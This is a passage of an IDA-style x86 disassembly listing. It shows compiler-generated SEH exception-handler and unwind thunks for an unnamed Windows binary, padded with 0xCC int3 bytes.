		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C9C4:				; DATA XREF: ___:00426EC2o
		mov	eax, offset dword_442960
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427740	proc near		; DATA XREF: sub_427740+2o
		mov	eax, offset dword_442A40
		jmp	sub_437AB8
SEH_427740	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CA28:				; DATA XREF: ___:00442A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4277B0	proc near		; DATA XREF: sub_4277B0+2o
		mov	eax, offset dword_442A70
		jmp	sub_437AB8
SEH_4277B0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CA78:				; DATA XREF: ___:00442AECo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427850	proc near		; DATA XREF: sub_427850+2o
		mov	eax, offset dword_442AC0
		jmp	sub_437AB8
SEH_427850	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427990	proc near		; DATA XREF: sub_427990+2o
		mov	eax, offset dword_442B10
		jmp	sub_437AB8
SEH_427990	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427C90	proc near		; DATA XREF: sub_427C90+2o
		mov	eax, offset dword_442B40
		jmp	sub_437AB8
SEH_427C90	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427D50	proc near		; DATA XREF: sub_427D50+2o
		mov	eax, offset dword_442B70
		jmp	sub_437AB8
SEH_427D50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4281A0	proc near		; DATA XREF: sub_4281A0+2o
		mov	eax, offset dword_442BA0
		jmp	sub_437AB8
SEH_4281A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428260	proc near		; DATA XREF: sub_428260+2o
		mov	eax, offset dword_442BD0
		jmp	sub_437AB8
SEH_428260	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428880	proc near		; DATA XREF: sub_428880+2o
		mov	eax, offset dword_442C00
		jmp	sub_437AB8
SEH_428880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428940	proc near		; DATA XREF: sub_428940+2o
		mov	eax, offset dword_442C30
		jmp	sub_437AB8
SEH_428940	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4290B0	proc near		; DATA XREF: sub_4290B0+2o
		mov	eax, offset dword_442C60
		jmp	sub_437AB8
SEH_4290B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CBC8:				; DATA XREF: ___:00442CBCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429120	proc near		; DATA XREF: sub_429120+2o
		mov	eax, offset dword_442C90
		jmp	sub_437AB8
SEH_429120	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CC28:				; DATA XREF: ___:00442D14o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4291E0	proc near		; DATA XREF: sub_4291E0+2o
		mov	eax, offset dword_442CE8
		jmp	sub_437AB8
SEH_4291E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CC88:				; DATA XREF: ___:00442D6Co
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429450	proc near		; DATA XREF: sub_429450+2o
		mov	eax, offset dword_442D40
		jmp	sub_437AB8
SEH_429450	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014BA
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CDB2:				; DATA XREF: ___:004295B8o
		mov	eax, offset dword_442D80
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42ACB0	proc near		; DATA XREF: sub_42ACB0+2o
		mov	eax, offset dword_442E68
		jmp	sub_437AB8
SEH_42ACB0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AD90	proc near		; DATA XREF: sub_42AD90+2o
		mov	eax, offset dword_442E98
		jmp	sub_437AB8
SEH_42AD90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AFF0	proc near		; DATA XREF: sub_42AFF0+2o
		mov	eax, offset dword_442EC8
		jmp	sub_437AB8
SEH_42AFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B380	proc near		; DATA XREF: sub_42B380+2o
		mov	eax, offset dword_442EF8
		jmp	sub_437AB8
SEH_42B380	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B440	proc near		; DATA XREF: sub_42B440+8o
		mov	eax, offset dword_442F28
		jmp	sub_437AB8
SEH_42B440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C1B0	proc near		; DATA XREF: sub_42C1B0+5o
		mov	eax, offset dword_442F58
		jmp	sub_437AB8
SEH_42C1B0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43CEB0:				; DATA XREF: ___:0042C2C5o
		mov	eax, offset dword_442FB8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CEC8:				; DATA XREF: ___:00443044o
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C350	proc near		; DATA XREF: sub_42C350+2o
		mov	eax, offset dword_443018
		jmp	sub_437AB8
SEH_42C350	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C530	proc near		; DATA XREF: sub_42C530+2o
		mov	eax, offset dword_443058
		jmp	sub_437AB8
SEH_42C530	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CF28:				; DATA XREF: ___:0042C5D2o
		mov	eax, offset dword_443088
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C770	proc near		; DATA XREF: sub_42C770+2o
		mov	eax, offset dword_4430B8
		jmp	sub_437AB8
SEH_42C770	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4430E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CB70	proc near		; DATA XREF: sub_42CB70+8o
		mov	eax, offset dword_443118
		jmp	sub_437AB8
SEH_42CB70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CE60	proc near		; DATA XREF: sub_42CE60+2o
		mov	eax, offset dword_443148
		jmp	sub_437AB8
SEH_42CE60	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D0A4:				; DATA XREF: ___:0042D158o
		mov	eax, offset dword_4431A0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435AA0	proc near		; DATA XREF: sub_435AA0+2o
		mov	eax, offset dword_443288
		jmp	sub_437AB8
SEH_435AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D10B:				; DATA XREF: ___:004432ECo
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D116:				; DATA XREF: ___:00435B98o
		mov	eax, offset dword_4432C0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4364D0	proc near		; DATA XREF: sub_4364D0+2o
		mov	eax, offset dword_4432F8
		jmp	sub_437AB8
SEH_4364D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4368D0	proc near		; DATA XREF: sub_4368D0+2o
		mov	eax, offset dword_443328
		jmp	sub_437AB8
SEH_4368D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4369E0	proc near		; DATA XREF: sub_4369E0+8o
		mov	eax, offset dword_443360
		jmp	sub_437AB8
SEH_4369E0	endp

; ---------------------------------------------------------------------------
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
